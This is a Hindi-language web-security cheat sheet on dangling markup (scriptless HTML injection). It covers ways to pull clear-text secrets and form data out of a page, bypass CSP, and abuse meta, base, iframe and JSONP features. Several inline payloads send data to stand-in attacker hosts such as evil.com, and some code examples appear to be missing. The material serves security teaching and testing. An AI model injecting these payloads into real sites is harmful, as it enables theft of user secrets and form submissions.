Dangling Markup - HTML scriptless injection
Resume
यह तकनीक तब उपयोग की जा सकती है जब HTML injection पाया जाता है। यह बहुत उपयोगी है यदि आप कोई तरीका नहीं ढूंढते हैं XSS को शोषण करने के लिए लेकिन आप कुछ HTML टैग्स इंजेक्ट कर सकते हैं। यह तब भी उपयोगी है यदि कुछ गुप्त जानकारी स्पष्ट पाठ में HTML में सहेजी गई है और आप इसे exfiltrate करना चाहते हैं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हैं।
यहां टिप्पणी की गई कई तकनीकें कुछ Content Security Policy को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए उपयोग की जा सकती हैं।
Main Applications
Stealing clear text secrets
यदि आप <img src='http://evil.com/log.cgi?
इंजेक्ट करते हैं जब पृष्ठ लोड होता है, तो पीड़ित आपको सभी कोड भेजेगा जो इंजेक्ट किए गए img
टैग और कोड के अंदर अगले उद्धरण के बीच है। यदि किसी तरह एक गुप्त जानकारी उस हिस्से में स्थित है, तो आप इसे चुरा लेंगे (आप एक डबल उद्धरण का उपयोग करके भी यही कर सकते हैं, देखें कि कौन सा उपयोग करना अधिक दिलचस्प हो सकता है)।
यदि img
टैग निषिद्ध है (उदाहरण के लिए CSP के कारण) तो आप <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
का भी उपयोग कर सकते हैं।
ध्यान दें कि Chrome HTTP URLs को "<" या "\n" के साथ ब्लॉक करता है, इसलिए आप "ftp" जैसे अन्य प्रोटोकॉल स्कीमों को आजमा सकते हैं।
आप CSS @import
का भी दुरुपयोग कर सकते हैं (यह सभी कोड को भेजेगा जब तक कि यह ";" नहीं ढूंढ लेता)।
आप <table
का भी उपयोग कर सकते हैं:
आप <base
टैग भी डाल सकते हैं। सभी जानकारी तब तक भेजी जाएगी जब तक उद्धरण बंद नहीं हो जाता लेकिन इसके लिए कुछ उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है (उपयोगकर्ता को किसी लिंक पर क्लिक करना होगा, क्योंकि बेस टैग ने लिंक द्वारा इंगित डोमेन को बदल दिया होगा):
फॉर्म चुराना
फिर, वे फॉर्म जो डेटा को पथ पर भेजते हैं (जैसे <form action='update_profile.php'>
) डेटा को दुर्भावनापूर्ण डोमेन पर भेजेंगे।
Stealing forms 2
एक फॉर्म हेडर सेट करें: <form action='http://evil.com/log_steal'>
यह अगले फॉर्म हेडर को ओवरराइट करेगा और फॉर्म से सभी डेटा हमलावर को भेजा जाएगा।
Stealing forms 3
बटन URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी "formaction" विशेषता के साथ:
एक हमलावर इसका उपयोग जानकारी चुराने के लिए कर सकता है।
इस हमले का उदाहरण इस लेख में खोजें।
स्पष्ट पाठ रहस्यों की चोरी 2
फार्म चुराने के लिए नवीनतम उल्लेखित तकनीक का उपयोग करते हुए (एक नया फॉर्म हेडर इंजेक्ट करना) आप फिर एक नया इनपुट फ़ील्ड इंजेक्ट कर सकते हैं:
और यह इनपुट फ़ील्ड अपने डबल कोट के बीच और अगले डबल कोट के बीच सभी सामग्री को HTML में शामिल करेगा। यह हमला "Stealing clear text secrets" को "Stealing forms2" के साथ मिलाता है।
आप एक फ़ॉर्म और एक <option>
टैग इंजेक्ट करके वही कर सकते हैं। सभी डेटा तब तक भेजा जाएगा जब तक एक बंद </option>
नहीं मिल जाता:
Form parameter injection
आप एक फॉर्म के पथ को बदल सकते हैं और नए मान डाल सकते हैं ताकि एक अप्रत्याशित क्रिया की जाएगी:
Stealing clear text secrets via noscript
<noscript></noscript>
एक टैग है जिसका सामग्री तब व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता (आप Chrome में chrome://settings/content/javascript पर जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करना:
उपयोगकर्ता इंटरैक्शन के साथ CSP को बायपास करना
इस portswiggers शोध से आप सीख सकते हैं कि सबसे अधिक CSP प्रतिबंधित वातावरणों से भी आप कुछ उपयोगकर्ता इंटरैक्शन के साथ डेटा निकाल सकते हैं। इस अवसर पर हम पेलोड का उपयोग करने जा रहे हैं:
ध्यान दें कि आप शिकार से एक लिंक पर क्लिक करने के लिए कहेंगे जो उसे पेलोड की ओर रीडायरेक्ट करेगा जिसे आप नियंत्रित करते हैं। यह भी ध्यान दें कि base
टैग के अंदर target
विशेषता में HTML सामग्री होगी अगली एकल उद्धरण तक।
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो window.name
का मान सभी HTML सामग्री होगा। इसलिए, चूंकि आप उस पृष्ठ को नियंत्रित करते हैं जहां शिकार लिंक पर क्लिक करके पहुंच रहा है, आप उस window.name
तक पहुंच सकते हैं और उस डेटा को एक्सफिल्ट्रेट कर सकते हैं:
Misleading script workflow 1 - HTML namespace attack
HTML के अंदर एक नया टैग और आईडी डालें जो अगले को ओवरराइट करेगा और एक ऐसा मान होगा जो स्क्रिप्ट के प्रवाह को प्रभावित करेगा। इस उदाहरण में, आप यह चुन रहे हैं कि जानकारी किसके साथ साझा की जाएगी:
Misleading script workflow 2 - Script namespace attack
HTML टैग्स डालकर जावास्क्रिप्ट नामस्थान के अंदर वेरिएबल बनाएं। फिर, यह वेरिएबल एप्लिकेशन के प्रवाह को प्रभावित करेगा:
Abuse of JSONP
यदि आप एक JSONP इंटरफ़ेस पाते हैं, तो आप मनमाने डेटा के साथ एक मनमानी फ़ंक्शन को कॉल करने में सक्षम हो सकते हैं:
या आप कुछ जावास्क्रिप्ट चलाने की कोशिश भी कर सकते हैं:
Iframe abuse
एक बाल दस्तावेज़ में अपने माता-पिता की location
प्रॉपर्टी को देखने और संशोधित करने की क्षमता होती है, यहां तक कि क्रॉस-ओरिजिन स्थितियों में भी। यह एक iframe के भीतर एक स्क्रिप्ट को एम्बेड करने की अनुमति देता है जो क्लाइंट को किसी भी पृष्ठ पर पुनर्निर्देशित कर सकता है:
यह कुछ इस तरह से कम किया जा सकता है: sandbox=' allow-scripts allow-top-navigation'
एक iframe का दुरुपयोग करके एक अलग पृष्ठ से संवेदनशील जानकारी लीक की जा सकती है iframes नाम विशेषता का उपयोग करके। इसका कारण यह है कि आप एक iframe बना सकते हैं जो स्वयं को iframe करता है, HTML इंजेक्शन का दुरुपयोग करते हुए जो संवेदनशील जानकारी को iframe नाम विशेषता के अंदर प्रदर्शित करता है और फिर उस नाम को प्रारंभिक iframe से एक्सेस करके लीक कर सकते हैं।
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
आप meta http-equiv
का उपयोग कई क्रियाएँ करने के लिए कर सकते हैं जैसे कि एक Cookie सेट करना: <meta http-equiv="Set-Cookie" Content="SESSID=1">
या एक रीडायरेक्ट करना (इस मामले में 5 सेकंड में): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
इसे CSP के साथ टाला जा सकता है जो http-equiv से संबंधित है ( Content-Security-Policy: default-src 'self';
, या Content-Security-Policy: http-equiv 'self';
)
New <portal HTML tag
आप <portal टैग के शोषणीय कमजोरियों पर एक बहुत दिलचस्प शोध यहाँ पा सकते हैं।
इस लेखन के समय आपको Chrome में chrome://flags/#enable-portals
पर portal टैग सक्षम करना होगा या यह काम नहीं करेगा।
HTML Leaks
HTML में कनेक्टिविटी लीक करने के सभी तरीके Dangling Markup के लिए उपयोगी नहीं होंगे, लेकिन कभी-कभी यह मदद कर सकता है। इन्हें यहाँ चेक करें: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
यह dangling markup और XS-Leaks के बीच का एक मिश्रण है। एक तरफ, यह भेद्यता HTML (लेकिन JS नहीं) को same origin के एक पृष्ठ में inject करने की अनुमति देती है, जिसे हम हमला करेंगे। दूसरी तरफ, हम उस पृष्ठ पर सीधे हमला नहीं करेंगे जहाँ हम HTML inject कर सकते हैं, बल्कि दूसरे पृष्ठ पर करेंगे।
SS-LeaksXS-Search/XS-Leaks
XS-Search cross-origin जानकारी को side channel attacks का दुरुपयोग करके exfiltrate करने के लिए उन्मुख हैं। इसलिए, यह Dangling Markup से एक अलग तकनीक है, हालाँकि, कुछ तकनीकें HTML टैग्स के समावेश का दुरुपयोग करती हैं (JS निष्पादन के साथ और बिना), जैसे CSS Injection या Lazy Load Images.
XS-Search/XS-LeaksBrute-Force Detection List
References
Last updated